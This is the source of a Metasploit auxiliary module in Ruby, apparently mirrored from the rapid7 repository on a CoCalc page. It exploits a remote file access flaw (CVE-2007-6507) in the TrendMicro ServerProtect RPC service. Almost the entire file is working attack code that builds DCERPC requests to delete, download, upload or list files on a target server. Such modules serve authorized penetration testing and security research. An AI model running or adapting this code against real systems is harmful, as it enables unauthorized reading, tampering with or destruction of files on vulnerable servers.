CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/auxiliary/admin/serverprotect/file.rb
Views: 1904
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Auxiliary
7
include Msf::Exploit::Remote::DCERPC
8
include Msf::Post::Windows::Registry
9
10
def initialize(info = {})
11
super(update_info(info,
12
'Name' => 'TrendMicro ServerProtect File Access',
13
'Description' => %q{
14
This modules exploits a remote file access flaw in the ServerProtect Windows
15
Server RPC service. Please see the action list (or the help output) for more
16
information.
17
},
18
'DefaultOptions' =>
19
{
20
'DCERPC::ReadTimeout' => 300 # Long-running RPC calls
21
},
22
'Author' => [ 'toto' ],
23
'License' => MSF_LICENSE,
24
'References' =>
25
[
26
[ 'CVE', '2007-6507' ],
27
[ 'OSVDB', '44318' ],
28
[ 'ZDI', '07-077'],
29
],
30
'Actions' =>
31
[
32
[ 'delete', 'Description' => 'Delete a file' ],
33
[ 'download', 'Description' => 'Download a file' ],
34
[ 'upload', 'Description' => 'Upload a file' ],
35
[ 'list', 'Description' => 'List files (not recommended - will crash the driver)' ]
36
]
37
))
38
39
register_options(
40
[
41
Opt::RPORT(5168),
42
OptString.new('RPATH',
43
[
44
false,
45
"The remote filesystem path",
46
nil
47
]),
48
OptString.new('LPATH',
49
[
50
false,
51
"The local filesystem path",
52
nil
53
]),
54
])
55
end
56
57
def check_option(name)
58
if(not datastore[name])
59
raise RuntimeError, "The #{name} parameter is required by this option"
60
end
61
end
62
63
def auxiliary_commands
64
{
65
"delete" => "Delete a file",
66
"download" => "Download a file",
67
"upload" => "Upload a file",
68
"list" => "List files (not recommended - will crash the driver)",
69
}
70
end
71
72
def run
73
case action.name
74
when 'download'
75
check_option('RPATH')
76
check_option('LPATH')
77
cmd_download(datastore['RPATH'], datastore['LPATH'])
78
when 'upload'
79
check_option('RPATH')
80
check_option('LPATH')
81
cmd_upload(datastore['RPATH'], datastore['LPATH'])
82
when 'delete'
83
check_option('RPATH')
84
cmd_delete(datastore['RPATH'])
85
when 'list'
86
check_option('RPATH')
87
cmd_list(datastore['RPATH'])
88
else
89
print_error("Unknown action #{action.name}")
90
end
91
end
92
93
def deunicode(str)
94
str.gsub(/\x00/, '').strip
95
end
96
97
#
98
# Once this function is used, if cmd_download or cmd_upload is called the server will crash :/
99
#
100
def cmd_list(*args)
101
102
if (args.length < 1)
103
print_status("Usage: list folder")
104
return
105
end
106
107
file = Rex::Text.to_unicode(args[0])
108
109
data = "\0" * 0x100
110
data[4, file.length] = file
111
112
# FindFirstFile
113
resp = serverprotect_rpccmd(131080, data, 0x100)
114
return if not resp
115
116
if resp.length != 0x108
117
print_error("An unknown error occurred while calling FindFirstFile.")
118
return
119
end
120
121
122
ret, = resp[0x104,4].unpack('V')
123
if ret != 0
124
print_error("An error occurred while calling FindFirstFile #{args[0]}: #{ret}.")
125
return
126
end
127
128
handle, = resp[4,4].unpack('V')
129
130
file = deunicode(resp[0x30, 0xd0])
131
print("#{file}\n")
132
133
data = "\0" * 0x100
134
data[0,4] = [handle].pack('V')
135
136
while true
137
# FindNextFile
138
resp = serverprotect_rpccmd(131081, data, 0x100)
139
return if not resp
140
141
if resp.length != 0x108
142
print_error("An unknown error occurred while calling FindFirstFile.")
143
break
144
end
145
146
ret, = resp[0x104,4].unpack('V')
147
if ret != 0
148
break
149
end
150
151
file = deunicode(resp[0x30, 0xd0])
152
print("#{file}\n")
153
end
154
155
data = "\0" * 0x100
156
data = [handle].pack('V')
157
# FindClose
158
resp = serverprotect_rpccmd(131082, data, 0x100)
159
end
160
161
162
def cmd_delete(*args)
163
164
if (args.length == 0)
165
print_status("Usage: delete c:\\windows\\system.ini")
166
return
167
end
168
169
data = Rex::Text.to_unicode(args[0]+"\0")
170
resp = serverprotect_rpccmd(131077, data, 4)
171
return if not resp
172
173
if (resp.length == 12)
174
ret, = resp[8,4].unpack('V')
175
176
if ret == 0
177
print_good("File #{args[0]} successfully deleted.")
178
else
179
print_error("An error occurred while deleting #{args[0]}: #{ret}.")
180
end
181
end
182
183
end
184
185
186
def cmd_download(*args)
187
188
if (args.length < 2)
189
print_status("Usage: download remote_file local_file")
190
return
191
end
192
193
# GENERIC_READ: 0x80000000
194
# FILE_SHARE_READ: 1
195
# OPEN_EXISTING: 3
196
# FILE_ATTRIBUTE_NORMAL: 0x80
197
handle = serverprotect_createfile(args[0], 0x80000000, 1, 3, 0x80)
198
if (not handle or handle == 0)
199
return
200
end
201
202
fd = File.new(args[1], "wb")
203
204
print_status("Downloading #{args[0]}...")
205
206
# reads 0x1000 bytes (hardcoded in the soft)
207
while ((data = serverprotect_readfile(handle)).length > 0)
208
fd.write(data)
209
end
210
211
fd.close
212
213
serverprotect_closehandle(handle)
214
215
print_good("File #{args[0]} successfully downloaded.")
216
end
217
218
219
def cmd_upload(*args)
220
221
if (args.length < 2)
222
print_status("Usage: upload local_file remote_file")
223
return
224
end
225
226
# GENERIC_WRITE: 0x40000000
227
# FILE_SHARE_WRITE: 2
228
# CREATE_ALWAYS: 2
229
# FILE_ATTRIBUTE_NORMAL: 0x80
230
handle = serverprotect_createfile(args[1], 0x40000000, 2, 2, 0x80)
231
if (handle == 0)
232
return
233
end
234
235
fd = File.new(args[0], "rb")
236
237
print_status("Uploading #{args[1]}...")
238
239
# write 0x1000 bytes (hardcoded in the soft)
240
while ((data = fd.read(0x1000)) != nil)
241
serverprotect_writefile(handle, data)
242
end
243
244
fd.close
245
246
serverprotect_closehandle(handle)
247
248
print_good("File #{args[1]} successfully uploaded.")
249
end
250
251
252
def serverprotect_createfile(file, desiredaccess, sharemode, creationdisposition, flags)
253
data = "\0" * 540
254
file = Rex::Text.to_unicode(file)
255
data[4, file.length] = file
256
data[524, 16] = [desiredaccess, sharemode, creationdisposition, flags].pack('VVVV')
257
258
resp = serverprotect_rpccmd(131073, data, 540)
259
return if not resp
260
261
if (resp.length < 548)
262
print_error("An unknown error occurred while calling CreateFile.")
263
return 0
264
else
265
handle, = resp[4,4].unpack('V')
266
ret, = resp[544,4].unpack('V')
267
268
if ret != 0
269
print_error("An error occurred while calling CreateFile: #{ret}.")
270
return 0
271
else
272
return handle
273
end
274
end
275
end
276
277
278
def serverprotect_readfile(handle)
279
data = "\0" * 4104
280
data[0, 4] = [handle].pack('V')
281
282
resp = serverprotect_rpccmd(131075, data, 4104)
283
return if not resp
284
285
if (resp.length != 4112)
286
print_error("An unknown error occurred while calling ReadFile.")
287
return ''
288
else
289
ret, = resp[4108,4].unpack('V')
290
291
if ret != 0
292
print_error("An error occurred while calling CreateFile: #{ret}.")
293
return ''
294
else
295
br, = resp[4104, 4].unpack('V')
296
return resp[8, br]
297
end
298
end
299
end
300
301
302
def serverprotect_writefile(handle, buf)
303
data = "\0" * 4104
304
data[0, 4] = [handle].pack('V')
305
data[4, buf.length] = buf
306
data[4100, 4] = [buf.length].pack('V')
307
308
resp = serverprotect_rpccmd(131076, data, 4104)
309
return if not resp
310
311
if (resp.length != 4112)
312
print_error("An unknown error occurred while calling WriteFile.")
313
return 0
314
else
315
ret, = resp[4108,4].unpack('V')
316
317
if ret != 0
318
print_error("An error occurred while calling WriteFile: #{ret}.")
319
return 0
320
end
321
end
322
323
return 1
324
end
325
326
327
def serverprotect_closehandle(handle)
328
data = [handle].pack('V')
329
330
resp = serverprotect_rpccmd(131074, data, 4)
331
return if not resp
332
333
if (resp.length != 12)
334
print_error("An unknown error occurred while calling CloseHandle.")
335
else
336
ret, = resp[8,4].unpack('V')
337
338
if ret != 0
339
print_error("An error occurred while calling CloseHandle: #{ret}.")
340
end
341
end
342
end
343
344
345
def serverprotect_rpccmd(cmd, data, osize)
346
if (data.length.remainder(4) != 0)
347
padding = "\0" * (4 - (data.length.remainder(4)))
348
else
349
padding = ""
350
end
351
352
stub =
353
NDR.long(cmd) +
354
NDR.long(data.length) +
355
data +
356
padding +
357
NDR.long(data.length) +
358
NDR.long(osize)
359
360
return serverprotect_rpc_call(0, stub)
361
end
362
363
#
364
# Call the serverprotect RPC service
365
#
366
def serverprotect_rpc_call(opnum, data = '')
367
368
begin
369
370
connect
371
372
handle = dcerpc_handle(
373
'25288888-bd5b-11d1-9d53-0080c83a5c2c', '1.0',
374
'ncacn_ip_tcp', [datastore['RPORT']]
375
)
376
377
dcerpc_bind(handle)
378
379
resp = dcerpc.call(opnum, data)
380
outp = ''
381
382
if (dcerpc.last_response and dcerpc.last_response.stub_data)
383
outp = dcerpc.last_response.stub_data
384
end
385
386
disconnect
387
388
outp
389
390
rescue ::Interrupt
391
raise $!
392
rescue ::Exception => e
393
print_error("Error: #{e}")
394
nil
395
end
396
end
397
end
398
399